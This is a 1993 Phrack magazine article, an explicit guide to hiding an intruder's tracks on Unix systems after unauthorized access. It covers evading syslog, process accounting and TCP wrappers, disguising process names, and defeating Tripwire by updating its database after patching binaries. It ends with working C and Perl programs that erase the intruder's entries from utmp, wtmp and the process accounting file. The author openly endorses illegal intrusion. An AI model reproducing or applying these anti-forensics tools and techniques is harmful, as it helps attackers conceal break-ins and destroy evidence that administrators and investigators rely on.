home *** CD-ROM | disk | FTP | other *** search
/ Gold Medal Software 3 / Gold Medal Software - Volume 3 (Gold Medal) (1994).iso / misc / phrack43.arj / P43-14 < prev    next >
Text File  |  1993-07-03  |  31KB  |  851 lines

  1.  
  2.                               ==Phrack Magazine==
  3.  
  4.                  Volume Four, Issue Forty-Three, File 14 of 27
  5.  
  6. #!/bin/sh
  7. # Playing Hide and Seek, Unix style.
  8. # By Phreak Accident
  9. #
  10. # A "how-to" in successfully hiding and removing your electronic footprints
  11. # while gaining unauthorized access to someone else's computer system (Unix in
  12. # this case).
  13.  
  14.  
  15. # Start counting ..
  16.  
  17.   Hmm.  Sucks don't it? Breaking into a system but only to have your access
  18. cut off the next day.  Right before you had the chance to download that 2
  19. megabyte source code file you have been dying to get all year.
  20.  
  21.   Why was the access cut?  Damn, you forgot to nuke that .rhosts file that
  22. you left in the root directory.  Or maybe it was the wtmp entries you didn't
  23. bother to edit.  Or perhaps the tcp_wrapper logs that you didn't bother to
  24. look for.  Whatever it was, it just screwed your access and perhaps, just
  25. got you busted.
  26.  
  27.  
  28. ----  Simulated incident report follows:
  29.  
  30. From: mark@abene.com (Mark Dorkenski)
  31. Message-Id: <9305282324.AA11445@jail.abene.com>
  32. To: incident-report@cert.org
  33. Subject: Cracker Breakin
  34. Status: RO
  35.  
  36. To whom it may concern,
  37.  
  38.    Last night 2 of our machines were penetrated by an unauthorized
  39. user.  Apparently the cracker (or crackers) involved didn't bother
  40. to clean up after they left.
  41.  
  42.    The following are logs generated from the time the break-in
  43. occurred.
  44.  
  45. [/usr/adm/wtmp]:
  46.  
  47. oracle    ttyp1    192.148.8.15     Tue May 11 02:12 - 04:00  (02:12)
  48. sync      ttyp2    192.148.8.15     Tue May 11 01:47 - 01:47  (00:00)
  49. robert    console                   Mon May 10 06:00 - 04:15  (22:14)
  50. reboot    ~                         Mon May 10 05:59
  51. shutdown  ~                         Sun May  9 11:04
  52.  
  53. [/usr/adm/messages]:
  54.  
  55. May  11 02:02:54 abene.com login: 3 LOGIN FAILURES FROM 192.148.8.15
  56. May  11 02:00:32 abene.com login: 4 LOGIN FAILURES FROM 192.148.8.15
  57.  
  58. [/usr/adm/pacct]:
  59.  
  60. ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
  61. cat        -     oracle   ttyp1      0.00 secs Tue May  2 19:37
  62. ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
  63. ls         -     oracle   ttyp1      0.00 secs Tue May  2 19:37
  64. rdist      -     root     ttyp1      0.00 secs Tue May  2 19:37
  65. sh         -     root     ttyp0      0.00 secs Tue May  2 19:37
  66. ed         -     root     ttyp0      0.00 secs Tue May  2 19:37
  67. rlogin     -     root     ttyp0      0.00 secs Tue May  2 19:37
  68. ls         -     root     ttyp0      0.00 secs Tue May  2 19:37
  69. more       -     root     ttyp0      0.00 secs Tue May  2 19:34
  70.  
  71.  
  72. We have found and plugged the areas of vulnerability and have restored
  73. original binaries back to the system.  We have already informed the proper
  74. authorities of the breakin, including the domain contact at the remote
  75. host in question.
  76.  
  77. Can you please relay any information regarding incident reports in our
  78. area?
  79.  
  80.  
  81.       Mark Dorkenski
  82.       Network Operations
  83.  
  84. ----  End of incident report
  85.  
  86.   Hey, it's human nature to be careless and lazy.  But, when you're a hacker,
  87. and you're illegally breaking into computer systems this isn't a luxury that
  88. you can afford.  Your efforts in penetrating have to be exact, concise,
  89. sharp, witty and skillful.  You have to know when to retreat, run, hide,
  90. pounce or spy.  Let us put it this way, when you get your feet muddy and
  91. walk on new carpet without cleaning it up, you're gonna get spanked.
  92.  
  93.   I can't tell you how many times I've see a hacker break into a system and
  94. leave their muddy footprints all over the system.  Hell, a quarter of the
  95. hosts on the Internet need to be steam-cleaned.
  96.  
  97.   This is sad.  Especially since you could have had the ability to do the
  98. washing yourself.  Why bother cracking systems if you leave unauthorized login
  99. messages on the console for the administrators?  Beats me.
  100.  
  101.   This article is about hiding your access--the little tricks of the trade
  102. that keep you unnoticed and hidden from that evil bastard, the system
  103. administrator.
  104.  
  105.   I should probably start by explaining exactly where common accounting/log
  106. files are kept and their roles in keeping/tracking system information.
  107.  
  108. # Drinking jolt and jerking the logs
  109.  
  110.   Syslog(3),  The "Big Daddy" of logging daemons, is the master of all system
  111. accounting and log reporting.  Most system components and applications
  112. depend on syslogd to deliver the information (accounting, errors, etc.) to
  113. the appropriate place.  Syslog (syslogd) reads a configuration file
  114. (/etc/syslog.conf) on startup to determine what facilities it will support.
  115.  
  116.   Syslog ususally has the following facilities and priorities:
  117.  
  118.   Facilities: kern user mail daemon auth syslog lpr news uucp
  119.   Priorities: emerg alert crit err warning notice info debug
  120.  
  121.   Facilities are the types of accounting that occur and priorities are the
  122. level of urgency that the facilities will report.  Most facilities are
  123. divided and logged into separate accounting files.  The common being daemon,
  124. auth, syslog, and kern.
  125.  
  126.   Priorities are encoded as a facility and a level.  The facility usually
  127. describes the part of the system generating the message. Priorities are
  128. defined in <sys/syslog.h>.
  129.  
  130.   In order to by-pass or suspend system accounting it is necessary to
  131. understand how it works.  With syslog, it is important to know how to
  132. read and determine where accounting files are delivered.  This entails
  133. understanding how syslog configures itself for operation.
  134.  
  135. # Reading and understanding /etc/syslog.conf.
  136.  
  137.   Lines in the configuration file have a selector to determine the
  138. message priorities to which the line applies and an action.  The action
  139. fields are separated from the selector by one or more tabs.
  140.  
  141.   Selectors are semicolon separated lists of priority specifiers.  Each
  142. priority has a facility describing the part of the system that generated
  143. the message, a dot, and a level indicating the severity of the message.
  144. Symbolic names could be used.  An asterisk selects all facilities.  All
  145. messages of the specified level or higher (greater severity) are
  146. selected. More than one facility may be selected using commas to separate
  147. them.  For example:
  148.  
  149.    *.emerg;mail,daemon.crit
  150.  
  151.   selects all facilities at the emerg level and the mail and daemon facil-
  152. ities at the crit level.
  153.  
  154.   Known facilities and levels recognized by syslogd are those listed in
  155. syslog(3) without the leading ``LOG_''. The additional facility ``mark''
  156. has a message at priority LOG_INFO sent to it every 20 minutes (this may be
  157. changed with the -m flag).  The ``mark'' facility is not enabled by a
  158. facility field containing an asterisk.  The level ``none'' may be
  159. used to disable a particular facility.  For example,
  160.  
  161.    *.debug;mail.none
  162.  
  163.    Sends all messages except mail messages to the selected file.
  164.  
  165.    The second part of each line describes where the message is to be logged
  166. if this line is selected.  There are four forms:
  167.  
  168.    o A filename (beginning with a leading slash).  The file
  169.  will be opened in append mode.
  170.  
  171.    o A hostname preceded by an at sign (``@'').  Selected
  172.  messages are forwarded to the syslogd on the named host.
  173.  
  174.    o A comma separated list of users.  Selected messages are
  175.  written to those users if they are logged in.
  176.  
  177.    o An asterisk.  Selected messages are written to all
  178.  logged-in users.
  179.  
  180.    For example, the configuration file:
  181.  
  182.    kern,mark.debug /dev/console
  183.    *.notice;mail.info /usr/spool/adm/syslog
  184.    *.crit               /usr/adm/critical
  185.    kern.err  @phantom.com
  186.    *.emerg  *
  187.    *.alert  erikb,netw1z
  188.    *.alert;auth.warning ralph
  189.  
  190.    logs all kernel messages and 20 minute marks onto the system
  191. console, all notice (or higher) level messages and all mail system messages
  192. except debug messages into the file /usr/spool/adm/syslog, and all critical
  193. messages into /usr/adm/critical; kernel messages of error severity or
  194. higher are forwarded to ucbarpa.  All users will be informed of any
  195. emergency messages, the users ``erikb'' and ``netw1z''  will be informed of
  196. any alert messages, or any warning message (or higher) from the authorization
  197. system.
  198.  
  199.    Syslogd creates the file /etc/syslog.pid, if possible, containing a
  200. single line with its process id; this is used to kill or reconfigure
  201. syslogd.
  202.  
  203. # System login records
  204.  
  205.   There are there basic areas (files) in which system login information is
  206. stored.  These areas are:
  207.  
  208.   /usr/etc/wtmp
  209.   /usr/etc/lastlog
  210.   /etc/utmp
  211.  
  212.   The utmp file records information about who is currently using the
  213. system.  The file is a sequence of entries with the following structure
  214. declared in the include file (/usr/include/utmp.h):
  215.  
  216.             struct utmp {
  217.                   char    ut_line[8];             /* tty name */
  218.                   char    ut_name[8];             /* user id */
  219.                   char    ut_host[16];            /* host name, if remote */
  220.                   long    ut_time;                /* time on */
  221.             };
  222.  
  223.   This structure gives the name of the special file associated
  224. with the user's terminal, the user's login name, and the
  225. time of the login in the form of time(3C).  This will vary from platform
  226. to platform.  Since Sun Microsystems ships SunOs with a world writable
  227. /etc/utmp, you can easily take yourself out of any who listing.
  228.  
  229.   The wtmp file records all logins and logouts.  A null username
  230. indicates a logout on the associated terminal.  Furthermore, the terminal
  231. name `~' indicates that the system was rebooted at the indicated time;
  232. the adjacent pair of entries with terminal names `|' and `{' indicate the
  233. system maintained time just before and just after a date command has
  234. changed the system's idea of the time.
  235.  
  236.   Wtmp is maintained by login(1) and init(8).  Neither of these programs
  237. creates the file, so if it is removed or renamed record-keeping is turned off.
  238. Wtmp is used in conjunction with the /usr/ucb/last command.
  239.  
  240.   /usr/adm/lastlog is used by login(1) for storing previous login dates, times,
  241. and connection locations.  The structure for lastlog is as follows:
  242.  
  243.             struct lastlog {
  244.                   time_t  ll_time;
  245.                   char    ll_line[8];
  246.                   char    ll_host[16];
  247.             };
  248.  
  249.   The structure for lastlog is quite simple.  One entry per UID, and it is
  250. stored in UID order.
  251.  
  252.   Creating a lastlog and wtmp editor is quite simple.  Example programs are
  253. appended at the end of this file.
  254.  
  255. # System process accounting
  256.  
  257.   Usually, the more security-conscience systems will have process accounting
  258. turned on which allows the system to log every process that is spawned.
  259. /usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the
  260. accounting data.  These files can grow quite large as you can imagine, and
  261. are sometimes shrunk by other system applications and saved in a compressed
  262. format as /usr/adm/savacct or something similar.
  263.  
  264.   Usually, if the accounting file is there with a 0 byte length then you can
  265. rest assured that they are not keeping process accounting records.  If they
  266. are however, there are really only two methods of hiding yourself from this
  267. form of accounting.  One, you can suspend or stop process accounting (
  268. which is usually done with the "accton" command) or you can edit the existing
  269. process logfile and "wipe" your incriminating records.
  270.  
  271.   Here is the common structure for the process accounting file:
  272.  
  273.   struct  acct
  274.   {
  275.         char    ac_comm[10];            /* Accounting command name */
  276.         comp_t  ac_utime;               /* Accounting user time */
  277.         comp_t  ac_stime;               /* Accounting system time */
  278.         comp_t  ac_etime;               /* Accounting elapsed time */
  279.         time_t  ac_btime;               /* Beginning time */
  280.         uid_t   ac_uid;                 /* Accounting user ID */
  281.         gid_t   ac_gid;                 /* Accounting group ID */
  282.         short   ac_mem;                 /* average memory usage */
  283.         comp_t  ac_io;                  /* number of disk IO blocks */
  284.         dev_t   ac_tty;                 /* control typewriter */
  285.         char    ac_flag;                /* Accounting flag */
  286.    };
  287.  
  288.   It is extremely tricky to remove all of your account records since if you
  289. do use a program to remove them, the program that you run to wipe the
  290. records will still have a process that will be appended to the logfile
  291. after it has completed.
  292.  
  293.   An example program for removing process accounting records is included
  294. at the end of this article.
  295.  
  296.   Most sysadmins don't pay real attention to the process logs, since they
  297. do tend to be rather large and grow fast.  However, if they notice that a
  298. break-in has occurred, this is one of the primary places they will look for
  299. further evidence.
  300.  
  301.   On the other hand, for normal system monitoring, you should be more worried
  302. about your "active" processes that might show up in a process table listing
  303. (such as ps or top).
  304.  
  305.   Most platforms allow the general changing of the process name without having
  306. any kind of privileges to do so.  This is done with a simple program as noted
  307. below:
  308.  
  309.   #include <stdio.h>
  310.   #include <string.h>
  311.  
  312.   int main(argc, argv)
  313.       int argc;
  314.       char **argv;
  315.   {
  316.     char *p;
  317.  
  318.     for (p = argv[0]; *p; p++)
  319.         *p = 0;
  320.  
  321.     strcpy(argv[0], "rn");
  322.  
  323.     (void) getchar ();  /* to allow you to see that ps reports "rn" */
  324.     return(0);
  325.   }
  326.  
  327.   Basically, this program waits for a key-stroke and then exits.  But,
  328. while it's waiting, if you were to lookup the process it would show the name
  329. as being "rn".  You're just actually re-writing the argument list of the
  330. spawned process.  This is a good method of hiding your process or program
  331. names ("crack", "hackit", "icmpnuker").  Its a good idea to use this method
  332. in any "rogue" programs you might not want to be discovered by a system
  333. administrator.
  334.  
  335.   If you cant corrupt your process arguments, rename your program to something
  336. that at least looks normal on the system.  But, if you do this, make sure that
  337. you don't run the command as "./sh" or "./ping" .. Even this looks suspicious.
  338. Put your current path in front of your PATH environment variable and avoid
  339. this mistake.
  340.  
  341. # Tripping the wire
  342.  
  343.  That little piss-ant up at Purdue thinks he has invented a masterpiece..
  344. I'll let his words explain what "Tripwire" is all about.  Then, i'll go over
  345. some brief flaws in tripwire and how to circumvent it.
  346.  
  347. ---- Tripwire README Introduction
  348.  
  349.   1.0.  Background
  350.   ================
  351.  
  352.      With the advent of increasingly sophisticated and subtle
  353.  account break-ins on Unix systems, the need for tools to aid in
  354.  the detection of unauthorized modification of files becomes
  355.  clear.  Tripwire is a tool that aids system administrators and
  356.  users in monitoring a designated set of files for any changes.
  357.  Used with system files on a regular (e.g., daily) basis, Tripwire
  358.  can notify system administrators of corrupted or tampered files,
  359.  so damage control measures can be taken in a timely manner.
  360.  
  361.   1.1.  Goals of Tripwire
  362.   =======================
  363.  
  364.  
  365.      Tripwire is a file integrity checker, a utility that compares
  366.  a designated set of files against information stored in a
  367.  previously generated database.  Any differences are flagged and
  368.  logged, and optionally, a user is notified through mail.  When
  369.  run against system files on a regular basis, any changes in
  370.  critical system files will be spotted -- and appropriate damage
  371.  control measures can be taken immediately.  With Tripwire, system
  372.  administrators can conclude with a high degree of certainty that
  373.  a given set of files remain free of unauthorized
  374.  modifications if Tripwire reports no changes.
  375.  
  376. ---- End of Tripwire excerpt
  377.  
  378.   Ok, so you know what tripwire does.  Yup, it creates signatures for all
  379. files listed in a tripwire configuration file.  So, if you were to change
  380. a file that is "tripwired", the proper authorities would be notified and your
  381. changes could be recognized.  Gee.  That sounds great.  But there are a
  382. couple of problems with this.
  383.  
  384.   First, tripwire wasn't made to run continuously (i.e., a change to a system
  385. binary might not be noticed for several hours, perhaps days.)  This allows
  386. somewhat of a "false" security for those admins who install tripwire.
  387.  
  388.   The first step in beating tripwire is to know if the system you are on
  389. is running it.  This is trivial at best.  The default location where
  390. tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.
  391.  
  392.   The "tcheck" directory is basically made up of the following files:
  393.  
  394.   -rw-------  1 root         4867 tw.config
  395.   drwxr-----  2 root          512 databases
  396.  
  397.   The file "tw.config" is the tripwire configuration file.  Basically, it's a
  398. list if files that tripwire will create signatures for.  This file usually
  399. consists of all system binaries, devices, and configuration files.
  400.  
  401.   The directory "databases" contains the actual tripwire signatures for
  402. every system that is configured in tw.config.  The format for the database
  403. filenames are tw.db_HOSTNAME.  An example signature entry might look like:
  404.  
  405. /bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0
  406. oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0
  407.  
  408.    Nothing to get excited about.  Basically it is a signature encrypted in one
  409. of the many forms supplied by tripwire.  Hard to forge, but easy to bypass.
  410.  
  411.    Tripwire takes a long time to check each file or directory listed in
  412. the configuration file.  Therefore, it is possible to patch or change a system
  413. file before tripwire runs a signature check on it.  How does one do this?
  414. Well, let me explain some more.
  415.  
  416.    In the design of tripwire, the databases are supposed to be kept either on
  417. a secure server or a read-only filesystem.  Usually, if you would want to
  418. patch a system binary 9 times out of 10 you're going to want to have root
  419. access.  Having root access to by-pass tripwire is a must.  Therefore, if you
  420. can obtain this access then it is perfectly logical that you should be able to
  421. remount a filesystem as Read/Write.  Once accomplished, after installing your
  422. patched binary, all you have to do is:
  423.  
  424.    tripwire -update PATH_TO_PATCHED_BINARY
  425.  
  426.    Then, you must also:
  427.  
  428.    tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
  429.    (If they are making a signature for the tripwire database itself)
  430.  
  431.    You'll still be responsible for the changed inode times on the database.
  432. But that's the risk you'll have to live with.  Tripewire wont detect the change
  433. since you updated the database.  But an admin might notice the changed times.
  434.  
  435. # Wrapping up the wrappers
  436.  
  437.    Ta da.  You got the access.  uh-oh.  What if they are running a TCP
  438. wrapper?  There are three basic ways they could be running a wrapper.
  439.  
  440.    1) They have modified /etc/inetd.conf and replaced the daemons they
  441.       want to wrap with another program that records the incoming
  442.       hostname and then spawns the correct daemon.
  443.  
  444.    2) They have replaced the normal daemons (usually in /usr/etc) with
  445.       a program that records the hostname then launches the correct
  446.       daemon.
  447.  
  448.    3) They have modified the actual wrappers themselves to record
  449.       incoming connections.
  450.  
  451.   In order to bypass or disable them, you'll first need to know which
  452. method they are using.
  453.  
  454.  First, view /etc/inetd.conf and check to see if you see something
  455. similar to:
  456.  
  457.   telnet  stream  tcp     nowait  root    /usr/etc/tcpd     telnetd ttyXX
  458.  
  459.   This is a sure sign that they are running Wietse Venema's tcp_wrapper.
  460.  
  461.   If nothing is found in /etc/inetd.conf, check /usr/etc and check for any
  462. abnormal programs such as "tcpd", "wrapd", and "watchcatd".  Finally, if
  463. nothing is still found, try checking the actually daemons by running
  464. "strings" on them and looking for logfiles or by using sum and comparing them
  465. to another system of the same OS that you know is not using a wrapper.
  466.  
  467.   Okay, by now you know whether or not they have a wrapper installed.  If
  468. so you will have to now decide what to do with the output of the wrapper.
  469. You'll have to know where it put the information.  The most common wrapper
  470. used is tcp_wrapper.  Here is another README excerpt detailing where the
  471. actually output from the wraps are delivered.
  472.  
  473. ---- Begin of tcp_wrapper README
  474.  
  475.   3.2 - Where the logging information goes
  476.   ----------------------------------------
  477.  
  478.  The wrapper programs send their logging information to the syslog
  479.  daemon (syslogd). The disposition of the wrapper logs is determined by
  480.  the syslog configuration file (usually /etc/syslog.conf). Messages are
  481.  written to files, to the console, or are forwarded to a @loghost.
  482.  
  483.  Older syslog implementations (still found on Ultrix systems) only
  484.  support priority levels ranging from 9 (debug-level messages) to 0
  485.  (alerts). All logging information of the same priority level (or more
  486.  urgent) is written to the same destination.  In the syslog.conf file,
  487.  priority levels are specified in numerical form.  For example,
  488.  
  489.  8/usr/spool/mqueue/syslog
  490.  
  491.  causes all messages with priority 8 (informational messages), and
  492.  anything that is more urgent, to be appended to the file
  493.  /usr/spool/mqueue/syslog.
  494.  
  495.  Newer syslog implementations support message classes in addition to
  496.  priority levels.  Examples of message classes are: mail, daemon, auth
  497.  and news. In the syslog.conf file, priority levels are specified with
  498.  symbolic names: debug, info, notice, ..., emerg. For example,
  499.  
  500.      mail.debug   /var/log/syslog
  501.  
  502.  causes all messages of class mail with priority debug (or more urgent)
  503.  to be appended to the /var/log/syslog file.
  504.  
  505.  By default, the wrapper logs go to the same place as the transaction
  506.  logs of the sendmail daemon. The disposition can be changed by editing
  507.  the Makefile and/or the syslog.conf file. Send a `kill -HUP' to the
  508.  syslogd after changing its configuration file. Remember that syslogd,
  509.  just like sendmail, insists on one or more TABs between the left-hand
  510.  side and the right-hand side expressions in its configuration file.
  511.  
  512. ---- End of tcp_wrapper README
  513.  
  514.   Usually just editing the output and hoping the sysadmin didnt catch the
  515. the wrap will do the trick since nothing is output to the console
  516. (hopefully).
  517.  
  518. # Example programs
  519.  
  520.   The following are short and sweet programs that give you the ability
  521. to edit some of the more common logfiles found on most platforms.  Most
  522. of these are pretty simple to compile, although some might need minor
  523. porting and OS consideration changes in structures and configurations.
  524.  
  525. ---- Begin of /etc/utmp editor:
  526.  
  527. /* This program removes utmp entries by name or number */
  528.  
  529. #include <utmp.h>
  530. #include <stdio.h>
  531. #include <sys/file.h>
  532. #include <sys/fcntlcom.h>
  533.  
  534. void usage(name)
  535. char *name;
  536. {
  537.     printf(stdout, "Usage: %s [ user ] or [ tty ]\n", name);
  538.     exit(1);
  539. }
  540.  
  541. main(argc,argv)
  542. int argc;
  543. char **argv;
  544. {
  545.     int fd;
  546.     struct utmp utmp;
  547.     int size;
  548.     int match, tty = 0;
  549.  
  550.     if (argc!=2)
  551.        usage(argv[0]);
  552.  
  553.     if ( !strncmp(argv[1],"tty",3) )
  554.        tty++;
  555.  
  556.     fd = open("/etc/utmp",O_RDWR);
  557.     if (fd >= 0)
  558.     {
  559.        size = read(fd, &utmp, sizeof(struct utmp));
  560.        while ( size == sizeof(struct utmp) )
  561.        {
  562.           if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
  563.             ( !strcmp(utmp.ut_name, argv[1]) ) )
  564.           {
  565.              lseek( fd, -sizeof(struct utmp), L_INCR );
  566.              bzero( &utmp, sizeof(struct utmp) );
  567.              write( fd, &utmp, sizeof(struct utmp) );
  568.           }
  569.           size = read( fd, &utmp, sizeof(struct utmp) );
  570.        }
  571.     }
  572.     close(fd);
  573. }
  574.  
  575. ---- End of /etc/utmp editor
  576.  
  577. ---- Begin of /usr/adm/wtmp editor:
  578.  
  579. /* This program removes wtmp entries by name or tty number */
  580.  
  581. #include <utmp.h>
  582. #include <stdio.h>
  583. #include <sys/file.h>
  584. #include <sys/fcntlcom.h>
  585.  
  586. void usage(name)
  587. char *name;
  588. {
  589.     printf("Usage: %s [ user | tty ]\n", name);
  590.     exit(1);
  591. }
  592.  
  593. void main (argc, argv)
  594. int argc;
  595. char *argv[];
  596. {
  597.     struct utmp utmp;
  598.     int size, fd, lastone = 0;
  599.     int match, tty = 0, x = 0;
  600.  
  601.     if (argc>3 || argc<2)
  602.        usage(argv[0]);
  603.  
  604.     if (strlen(argv[1])<2) {
  605.        printf("Error: Length of user\n");
  606.        exit(1);
  607.     }
  608.  
  609.     if (argc==3)
  610.        if (argv[2][0] == 'l') lastone = 1;
  611.  
  612.     if (!strncmp(argv[1],"tty",3))
  613.        tty++;
  614.  
  615.     if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
  616.         printf("Error: Open on /usr/adm/wtmp\n");
  617.         exit(1);
  618.     }
  619.  
  620.     printf("[Searching for %s]:  ", argv[1]);
  621.  
  622.     if (fd >= 0)
  623.     {
  624.        size = read(fd, &utmp, sizeof(struct utmp));
  625.        while ( size == sizeof(struct utmp) )
  626.        {
  627.           if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
  628.             ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
  629.               lastone != 1)
  630.           {
  631.              if (x==10)
  632.                 printf("\b%d", x);
  633.              else
  634.              if (x>9 && x!=10)
  635.                 printf("\b\b%d", x);
  636.              else
  637.                 printf("\b%d", x);
  638.              lseek( fd, -sizeof(struct utmp), L_INCR );
  639.              bzero( &utmp, sizeof(struct utmp) );
  640.              write( fd, &utmp, sizeof(struct utmp) );
  641.              x++;
  642.           }
  643.           size = read( fd, &utmp, sizeof(struct utmp) );
  644.        }
  645.     }
  646.     if (!x)
  647.        printf("No entries found.");
  648.     else
  649.        printf(" entries removed.");
  650.     printf("\n");
  651.     close(fd);
  652. }
  653.  
  654. ---- End of /usr/adm/wtmp editor
  655.  
  656. ---- Begin of /usr/adm/lastcomm editor:
  657.  
  658. #!/perl
  659.  
  660. package LCE;
  661.  
  662. $date = 'Sun Jul  4 20:35:36 CST 1993';
  663. $title = 'LCE';
  664. $author = 'Phreak Accident';
  665. $version = '0.0';
  666. $copyright = 'Copyright Phreak Accident';
  667.  
  668.  
  669. #------------------------------------------------------------------------------
  670. # begin getopts.pl
  671.  
  672. # Usage: &Getopts('a:bc');  # -a takes arg. -b & -c not. Sets opt_*.
  673.  
  674. sub Getopts {
  675.     local($argumentative)=@_;
  676.     local(@args,$_,$first,$rest,$errs);
  677.     local($[)=0;
  678.  
  679.     @args=split(/ */, $argumentative );
  680.     while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
  681.     ($first,$rest) = ($1,$2);
  682.     $pos = index($argumentative,$first);
  683.     if($pos >= $[) {
  684.         if($args[$pos+1] eq ':') {
  685.         shift(@ARGV);
  686.         if($rest eq '') {
  687.             $rest = shift(@ARGV);
  688.         }
  689.         eval "\$opt_$first = \$rest;";
  690.         }
  691.         else {
  692.         eval "\$opt_$first = 1";
  693.         if($rest eq '') {
  694.             shift(@ARGV);
  695.         }
  696.         else {
  697.             $ARGV[0] = "-$rest";
  698.         }
  699.         }
  700.     }
  701.     else {
  702.         print STDERR "Unknown option: $first\n";
  703.         ++$errs;
  704.         if($rest ne '') {
  705.         $ARGV[0] = "-$rest";
  706.         }
  707.         else {
  708.         shift(@ARGV);
  709.         }
  710.     }
  711.     }
  712.     $errs == 0;
  713. }
  714.  
  715. #  end  getopts.pl
  716. #------------------------------------------------------------------------------
  717.  
  718. sub Initialize {
  719.  
  720.   $TRUE = '1';                                  # '1' = TRUE  = '1'
  721.   $FALSE = '';                                  # ''  = FALSE = ''
  722.  
  723.   &Getopts('a:u:o:');                # Parse command line options
  724.   $acct = $opt_a || $ENV{'ACCT'} || '/var/adm/pacct';
  725.   $user = $opt_u || $ENV{'USER'} || `/bin/whoami` || 'root';
  726.   $outf = $opt_o || $ENV{'OUTF'} || './.pacct';
  727.  
  728.   select(STDOUT); $|++;
  729.   close(I);
  730.   open(I,'(cd /dev; echo tty*)|');
  731.   $ttys=<I>;
  732.   close(I);
  733.   @ttys = split(/ /,$ttys);
  734.   for $tty (@ttys) {
  735.     ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
  736.      $atime,$mtime,$ctime,$blksize,$blocks) = stat("/dev/$tty");
  737.      $TTY{"$rdev"} = "$tty";
  738.   }
  739.   $TTY{'65535'} = 'NoTTY';
  740.  
  741. # Get passwd info --> id:passwd:uid:gid:name:home:shell
  742.   close (I);
  743. #  open(I,"cat /etc/passwd|");    # If you don't run nis...
  744.   open(I,"ypcat passwd|");
  745.   while (<I>) {
  746.     chop;
  747.     split(/:/);
  748.     $PASSWD{"$_[$[+2]"}= $_[$[];
  749.   }
  750.   $PASSWD{"0"}= 'root';
  751.  
  752. # Get group info --> id:passwd:gid:members
  753.   close (I);
  754. #  open(I,"cat /etc/group|");    # If you don't run nis...
  755.   open(I,"ypcat group | ");
  756.   while (<I>) {
  757.     chop;
  758.     split(/:/);
  759.     $GROUP{"$_[$[+2]"}= $_[$[];
  760.   }
  761. }
  762. split(/ /,'Sun Mon Tue Wed Thu Fri Sat');
  763. for ($x=$[ ; $x<$#_ ; $x++) {
  764.   $DAY{"$x"} = $_[$x];
  765. }
  766. split(/ /,'Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec');
  767. for ($x=$[ ; $x<$#_ ; $x++) {
  768.   $MONTH{"$x"} = $_[$x];
  769. }
  770.  
  771. #------------------------------------------------------------------------------
  772.  
  773. sub LCE {
  774.   &Initialize();
  775.   open(I,"<$acct");
  776.   close(O);
  777.   open(O,">$outf");
  778.   $template='CCSSSLSSSSSSA8';
  779.   while (read(I,$buff,32)) {
  780.     ($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
  781.       unpack($template,$buff);
  782.     ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
  783.       localtime($bt);
  784.     $mon++;
  785.     $mon = "0$mon" if ($mon < 10);
  786.     $mday = "0$mday" if ($mday < 10);
  787.     $hour = "0$hour" if ($hour < 10);
  788.     $min = "0$min" if ($min < 10);
  789.     $sec = "0$sec" if ($sec < 10);
  790.     $tt = localtime($bt);
  791.     $flags='';
  792.     if ($c1 & 0001) { $flags .= 'F'; }
  793.     if ($c1 & 0002) { $flags .= 'S'; }
  794.     if ($c1 & 0004) { $flags .= 'P'; }
  795.     if ($c1 & 0010) { $flags .= 'C'; }
  796.     if ($c1 & 0020) { $flags .= 'K'; }
  797.     if ($c1 & 0300) { $flags .= 'A'; } 
  798.     $c3 =~ s/\000.*$//;
  799.     print STDOUT "$c3    $flags    $PASSWD{$u}/$GROUP{$g}    $TTY{$d}";
  800.     print STDOUT "    $DAY{$wday} $hour:$min:$sec";
  801.     if ($PASSWD{$u} eq $user) {
  802.       print " [ERASED] ";
  803.     } else {
  804.       print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
  805.     }
  806.     print "\n";
  807.   }
  808.   close(O);
  809. }
  810.  
  811. #------------------------------------------------------------------------------
  812.  
  813. &LCE();
  814.  
  815. #struct    acct
  816. #  {
  817. #      char    ac_flag;        /* Accounting flag */
  818. #      char    ac_stat;        /* Exit status */
  819. #      uid_t    ac_uid;            /* Accounting user ID */
  820. #      gid_t    ac_gid;            /* Accounting group ID */
  821. #      dev_t    ac_tty;            /* control typewriter */
  822. #      time_t    ac_btime;        /* Beginning time */
  823. #      comp_t    ac_utime;        /* Accounting user time */
  824. #      comp_t    ac_stime;        /* Accounting system time */
  825. #      comp_t    ac_etime;        /* Accounting elapsed time */
  826. #      comp_t    ac_mem;            /* average memory usage */
  827. #      comp_t    ac_io;            /* chars transferred */
  828. #      comp_t    ac_rw;            /* blocks read or written */
  829. #      char    ac_comm[8];        /* Accounting command name */
  830. #  };
  831. #  
  832. #  #define    AFORK    0001        /* has executed fork, but no exec */
  833. #  #define  ASU 0002            /* used super-user privileges */
  834. #  #define    ACOMPAT    0004        /* used compatibility mode */
  835. #  #define    ACORE    0010        /* dumped core */
  836. #  #define    AXSIG    0020        /* killed by a signal */
  837. #  #define    ACCTF    0300        /* record type: 00 = acct */
  838.  
  839. ---- End of /usr/adm/lastcomm editor
  840.  
  841. # All good things must come to an end
  842.  
  843.   In conclusion, you need to be smarter than the administrator.  Being
  844. careless can get you busted.  Clean your footprints.  Watch the system.
  845. Learn new tricks.  AND KEEP ON HACKING!
  846.  
  847.   Watch for my next article on 50 great system patches that will keep
  848. your access just the way it is .. illegal.  Yaawhoo.
  849.  
  850. # End of article
  851.